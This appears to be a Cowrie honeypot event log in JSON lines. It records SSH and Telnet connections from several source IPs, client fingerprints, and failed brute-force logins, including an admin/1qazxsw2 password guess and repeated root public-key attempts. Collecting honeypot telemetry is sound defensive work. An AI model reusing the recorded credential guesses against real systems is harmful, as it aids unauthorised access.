{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:23:01.444458Z","src_ip":"193.24.211.100","session":"29310380f7de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:23:01.562470Z","src_ip":"193.24.211.100","session":"29310380f7de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qazxsw2","message":"login attempt [admin/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:23:01.990060Z","src_ip":"193.24.211.100","session":"29310380f7de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.01523447036743,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:23:02.569088Z","src_ip":"212.55.149.117","session":"9e450ad181b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:23:03.100562Z","src_ip":"193.24.211.100","session":"29310380f7de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":55767,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd5d4cf501de","protocol":"telnet","message":"New connection: 212.55.149.117:55767 (10.17.0.5:23) [session: fd5d4cf501de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:23:12.683645Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.194.8.142","src_port":26685,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4f49621165d","protocol":"ssh","message":"New connection: 104.194.8.142:26685 (10.17.0.5:22) [session: f4f49621165d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:23:14.043783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:23:14.049098Z","src_ip":"104.194.8.142","session":"f4f49621165d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:23:14.127932Z","src_ip":"104.194.8.142","session":"f4f49621165d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:9a:2f:78:fa:a3:12:2c:7c:5f:e7:e7:46:51:fd:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDlIGbMMQ6kUJS6panbI0TKqAHFoh5kjA05Zq910fRfTgiIjFavZ/amzK09Xw3gXeoPA+TOMlljhb0VAV+Qhz+8deKYsRyK4HoIKLLZyn64KZcIWYhSUQtM6nh6qXKahKKUlyxB18DTuNUi6b4FqXkeW3uONLJsXDC/T7nCXgWl7VyyBtb6IKV7OMzRCCDBTuissgcJuU+yW4Huwde7SLG3lb0A8wZZD9Tv0v0Dio7a9uDWBE7HsDUH8mqAoi1EncYfHOhgSQwATSQcYDmptHhrofFYMeB/aj7qciB4iNZU/qFBxka9annPMMYJInJfUfodnc/4svEJlxwG5oe2d3tR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 87:9a:2f:78:fa:a3:12:2c:7c:5f:e7:e7:46:51:fd:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:23:14.499079Z","src_ip":"104.194.8.142","session":"f4f49621165d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:9a:2f:78:fa:a3:12:2c:7c:5f:e7:e7:46:51:fd:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDlIGbMMQ6kUJS6panbI0TKqAHFoh5kjA05Zq910fRfTgiIjFavZ/amzK09Xw3gXeoPA+TOMlljhb0VAV+Qhz+8deKYsRyK4HoIKLLZyn64KZcIWYhSUQtM6nh6qXKahKKUlyxB18DTuNUi6b4FqXkeW3uONLJsXDC/T7nCXgWl7VyyBtb6IKV7OMzRCCDBTuissgcJuU+yW4Huwde7SLG3lb0A8wZZD9Tv0v0Dio7a9uDWBE7HsDUH8mqAoi1EncYfHOhgSQwATSQcYDmptHhrofFYMeB/aj7qciB4iNZU/qFBxka9annPMMYJInJfUfodnc/4svEJlxwG5oe2d3tR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:23:14.503260Z","src_ip":"104.194.8.142","session":"f4f49621165d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:a5:30:90:ca:f0:66:f8:1d:eb:9e:46:a5:62:12:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDwMjFyEiUNpzM89DzCM+k2YS7PwvmZ2xElU+JHY+T8RKlf2IrbFg26THhbeTNuEOVgVFLJumA/Kzm7LMeFRs2cdtzg43+DPRJqPigyoUb3nKPr4ILUy4F261um04QXYM8rIdkG8C949wX9WYfOCHn881XSHijz/FEtLO31tV0Q3D0d7qdj6YWOkgvNXpw92X/W9jczQQhfBQ6c+BrHtpT9IU0C95dWdMrVnFuqNE48zo3MxoTl4hRPO9jujB65wLY8Ccw4V4HVVWyFH/eF+aRsDsAsOfjHtS8WSovsXUjJ4sm1yuPHTSrCEnhNqooPFqBK49Np8QUE1fdxunwI1+x7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ec:a5:30:90:ca:f0:66:f8:1d:eb:9e:46:a5:62:12:53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:23:14.587541Z","src_ip":"104.194.8.142","session":"f4f49621165d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:a5:30:90:ca:f0:66:f8:1d:eb:9e:46:a5:62:12:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDwMjFyEiUNpzM89DzCM+k2YS7PwvmZ2xElU+JHY+T8RKlf2IrbFg26THhbeTNuEOVgVFLJumA/Kzm7LMeFRs2cdtzg43+DPRJqPigyoUb3nKPr4ILUy4F261um04QXYM8rIdkG8C949wX9WYfOCHn881XSHijz/FEtLO31tV0Q3D0d7qdj6YWOkgvNXpw92X/W9jczQQhfBQ6c+BrHtpT9IU0C95dWdMrVnFuqNE48zo3MxoTl4hRPO9jujB65wLY8Ccw4V4HVVWyFH/eF+aRsDsAsOfjHtS8WSovsXUjJ4sm1yuPHTSrCEnhNqooPFqBK49Np8QUE1fdxunwI1+x7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:23:14.591546Z","src_ip":"104.194.8.142","session":"f4f49621165d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e2:c4:3a:c1:fe:69:11:e4:5c:1f:37:cb:fe:80:c4:e4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIABWdu8TSQDwLKa5ZMahS9Qmh23WHr7wKTqc5uRGWGTY","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint e2:c4:3a:c1:fe:69:11:e4:5c:1f:37:cb:fe:80:c4:e4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:23:14.671573Z","src_ip":"104.194.8.142","session":"f4f49621165d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e2:c4:3a:c1:fe:69:11:e4:5c:1f:37:cb:fe:80:c4:e4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIABWdu8TSQDwLKa5ZMahS9Qmh23WHr7wKTqc5uRGWGTY","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:23:14.675576Z","src_ip":"104.194.8.142","session":"f4f49621165d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:ac:17:2e:f7:71:9f:12:0f:51:e4:02:c1:fc:10:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoYpJa/vFcmOtFt1wSkFRWOdzuXh2ECj1XwUJ4VoGJOUzodU2RbqqUAB+FRcI8PVRJlY56ZhMxrWuXWcBD4yXMKl07OIyU0pThSFH1VsWVN/0fZonZaBPhz5QXt+Hg1cda5Mz1NUXq+6SXXczuwihbPCCbnzkey7j5qXu/BkuPhYr6wmc6t5qa1OjKp6rNkeWJLvIsW9QXc1B0+BxacqjYIwXVqXcGeHy4TJQlFWNNyD3I08hHMZKdFNmp0ETohuvJbj8zdK+31QseKNozFBP4cwesNoRb//8own+x2bWzWywmN4caE11IcI7eC2028SF0Uv6H9DjkNvF1ZgSqHcXx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b1:ac:17:2e:f7:71:9f:12:0f:51:e4:02:c1:fc:10:b4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:23:14.758233Z","src_ip":"104.194.8.142","session":"f4f49621165d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:ac:17:2e:f7:71:9f:12:0f:51:e4:02:c1:fc:10:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoYpJa/vFcmOtFt1wSkFRWOdzuXh2ECj1XwUJ4VoGJOUzodU2RbqqUAB+FRcI8PVRJlY56ZhMxrWuXWcBD4yXMKl07OIyU0pThSFH1VsWVN/0fZonZaBPhz5QXt+Hg1cda5Mz1NUXq+6SXXczuwihbPCCbnzkey7j5qXu/BkuPhYr6wmc6t5qa1OjKp6rNkeWJLvIsW9QXc1B0+BxacqjYIwXVqXcGeHy4TJQlFWNNyD3I08hHMZKdFNmp0ETohuvJbj8zdK+31QseKNozFBP4cwesNoRb//8own+x2bWzWywmN4caE11IcI7eC2028SF0Uv6H9DjkNvF1ZgSqHcXx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:23:14.764216Z","src_ip":"104.194.8.142","session":"f4f49621165d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:b5:37:5b:a7:08:51:f3:87:c0:bc:65:7a:80:3b:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC9co9ytsvCsg/hlaH3OWMHFpl6EjljGParClytxPnbp7g8SW5W9aV+CCd+nQYWEsz0Z8RiqPqogU7z+Kbzk4wHcpkhnzyrkZA/oejR+puXPN4SJwhYorBCi0cQwV/XpoMQwEe0MG1tK6qT9ZVqbpE6mtGl26LQFCKfoq8JgR0tS/JrLdY4sQ9CF0zg1ndQ8GB46o5X9IeU8UP7NEjVXFj8IZOJdx6kz+ow/UF+13bnJ0aHu0/KuCQIfJMH+s2CdI26xge3iEqZ0lKJsv9bMsCKGD3V7D83Svkab1k+HUQFtq0nrKLqe/GmM69RJUVxoCwdJIEIF6BLKFeA3/0LgqLR45pim9HKofyd1UDwbMf4omYjTTgG5ri2+SQybejWNTKhkQj5LNQGYPterxkM/eZfAYuGTL8yJShf1QcaWJJB++qlqUqYU+myBI8xJdq6DRLL5wVcIlTN9Q+2o3p+BDB5FYWsVe5dcU1Jg5F1JgVdVnPlrs2i/2ZSC3k2e2yPNXU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:b5:37:5b:a7:08:51:f3:87:c0:bc:65:7a:80:3b:a0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:23:14.847893Z","src_ip":"104.194.8.142","session":"f4f49621165d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:b5:37:5b:a7:08:51:f3:87:c0:bc:65:7a:80:3b:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC9co9ytsvCsg/hlaH3OWMHFpl6EjljGParClytxPnbp7g8SW5W9aV+CCd+nQYWEsz0Z8RiqPqogU7z+Kbzk4wHcpkhnzyrkZA/oejR+puXPN4SJwhYorBCi0cQwV/XpoMQwEe0MG1tK6qT9ZVqbpE6mtGl26LQFCKfoq8JgR0tS/JrLdY4sQ9CF0zg1ndQ8GB46o5X9IeU8UP7NEjVXFj8IZOJdx6kz+ow/UF+13bnJ0aHu0/KuCQIfJMH+s2CdI26xge3iEqZ0lKJsv9bMsCKGD3V7D83Svkab1k+HUQFtq0nrKLqe/GmM69RJUVxoCwdJIEIF6BLKFeA3/0LgqLR45pim9HKofyd1UDwbMf4omYjTTgG5ri2+SQybejWNTKhkQj5LNQGYPterxkM/eZfAYuGTL8yJShf1QcaWJJB++qlqUqYU+myBI8xJdq6DRLL5wVcIlTN9Q+2o3p+BDB5FYWsVe5dcU1Jg5F1JgVdVnPlrs2i/2ZSC3k2e2yPNXU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:23:14.852094Z","src_ip":"104.194.8.142","session":"f4f49621165d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:23:14.935424Z","src_ip":"104.194.8.142","session":"f4f49621165d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.37700891494751,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:23:47.824655Z","src_ip":"212.55.149.117","session":"6b7286d6e7d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.135.193.206","src_port":42586,"dst_ip":"159.203.135.109","dst_port":22,"session":"da3eeee9a06a","protocol":"ssh","message":"New connection: 45.135.193.206:42586 (159.203.135.109:22) [session: da3eeee9a06a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:23:54.691616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:23:54.755740Z","src_ip":"45.135.193.206","session":"da3eeee9a06a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:23:54.804635Z","src_ip":"45.135.193.206","session":"da3eeee9a06a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"95:06:3a:d2:87:eb:96:64:93:df:5d:cc:a3:e2:7e:0b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINoLIj48HShNNkBLywDtTEEt+RWCYyVUzMdd5YO46DnX","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 95:06:3a:d2:87:eb:96:64:93:df:5d:cc:a3:e2:7e:0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:23:55.503937Z","src_ip":"45.135.193.206","session":"da3eeee9a06a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"95:06:3a:d2:87:eb:96:64:93:df:5d:cc:a3:e2:7e:0b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINoLIj48HShNNkBLywDtTEEt+RWCYyVUzMdd5YO46DnX","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:23:55.508613Z","src_ip":"45.135.193.206","session":"da3eeee9a06a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:23:55.610079Z","src_ip":"45.135.193.206","session":"da3eeee9a06a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.52","src_port":64638,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccf1326b8b4a","protocol":"telnet","message":"New connection: 205.210.31.52:64638 (159.203.135.109:23) [session: ccf1326b8b4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:24:31.740802Z"}
{"eventid":"cowrie.session.closed","duration":9.969626426696777,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:24:41.710286Z","src_ip":"205.210.31.52","session":"ccf1326b8b4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":4414,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3dc99afffcd","protocol":"telnet","message":"New connection: 212.55.149.117:4414 (10.17.0.5:23) [session: d3dc99afffcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:25:06.504057Z"}
{"eventid":"cowrie.session.closed","duration":119.0999505519867,"message":"Connection lost after 119 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:25:11.783433Z","src_ip":"212.55.149.117","session":"fd5d4cf501de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.148","src_port":27922,"dst_ip":"10.17.0.5","dst_port":22,"session":"622b52a91be2","protocol":"ssh","message":"New connection: 94.26.106.148:27922 (10.17.0.5:22) [session: 622b52a91be2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:25:45.660433Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:25:45.665435Z","src_ip":"94.26.106.148","session":"622b52a91be2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.148","src_port":27924,"dst_ip":"10.17.0.5","dst_port":22,"session":"7450fe522af7","protocol":"ssh","message":"New connection: 94.26.106.148:27924 (10.17.0.5:22) [session: 7450fe522af7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:25:45.765670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:25:45.770640Z","src_ip":"94.26.106.148","session":"7450fe522af7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:25:45.856043Z","src_ip":"94.26.106.148","session":"7450fe522af7","protocol":"ssh"}
